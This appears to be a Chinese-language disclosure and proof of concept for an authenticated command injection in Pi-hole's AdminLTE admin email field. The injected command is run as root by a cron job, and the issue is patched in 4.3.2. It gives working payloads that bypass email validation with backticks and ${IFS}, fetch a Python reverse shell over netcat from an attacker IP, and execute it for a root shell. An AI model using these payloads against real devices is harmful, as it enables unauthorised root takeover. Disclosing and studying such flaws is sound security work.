Pi-Hole 4.3.2 版本包含对此漏洞的补丁:https://github.com/pi-hole/AdminLTE/pull/974
非常感谢 Pi-Hole 开发团队,感谢他们出色的项目,并让报告此漏洞变得如此简单!
通过所述“AdminLTE”组件中的漏洞,可以远程获得 RaspberyPi 设备(或应用程序所运行的任何设备/虚拟机)的 root 访问权限。利用此漏洞需要具有 AdminLTE Web 界面的管理访问权限/凭据。
更详细地说,可以绕过正则表达式检查,并用任意命令污染“管理员电子邮件地址”字段。这些命令随后存储在“/etc/pihole/setupVars.conf”中,然后由 10 分钟的 cron.d 任务 “/usr/local/bin/pihole updatechecker local” 以 root 权限解析并执行。
攻击者必须等待 cron 任务“/etc/cron.d/pihole”的 10 分钟间隔才能执行命令/代码。
希望以下详细信息和 PoC 能帮助您验证和重现该问题。
一旦通过 Web 应用程序的身份验证,攻击者需要绕过一些服务端验证才能成功注入命令。
在“savesettings.php”的 L:499 处,用户控制的变量“$adminemail”会通过 PHP 内置的 FILTER_VALIDATE_EMAIL 函数进行校验,而该校验相对较弱。
因此,只需在一组反引号外加双引号,就可以绕过此验证并证明命令注入,例如,在管理员电子邮件中输入以下内容:
"`test>/tmp/poc_proof.txt`"@example.com

10 分钟内,一个由 root 拥有、内容为“test”的文件将以 root 权限在“/tmp/poc_proof.txt”中创建。

为了执行任何更有意义的攻击,还需要绕过空格的限制(空格不是有效的电子邮件字符,会被 FILTER_VALIDATE_EMAIL 函数捕获)。为此,利用了 Linux 内部变量 ${IFS}(在大多数 Unix 操作系统中默认为空格)。
PoC:
*注意:这可以使用 POSIX shell 语法(即 &&、|| ...)通过单行命令实现自动化。
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

使用 HTTP 代理检查时,HTTP 请求将如下所示:

等待 10 分钟让 cron 任务运行并抓取脚本;或者出于重现目的,手动运行 /usr/local/bin/pihole updatechecker local。您还可以验证位于“/etc/pihole/setupVars.conf”中的注入命令(可发现其已分配给 ADMIN_EMAIL 变量)。
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
再次等待 10 分钟(或为了重现问题而手动执行 cron 脚本),您将获得攻击机器上的 root shell。
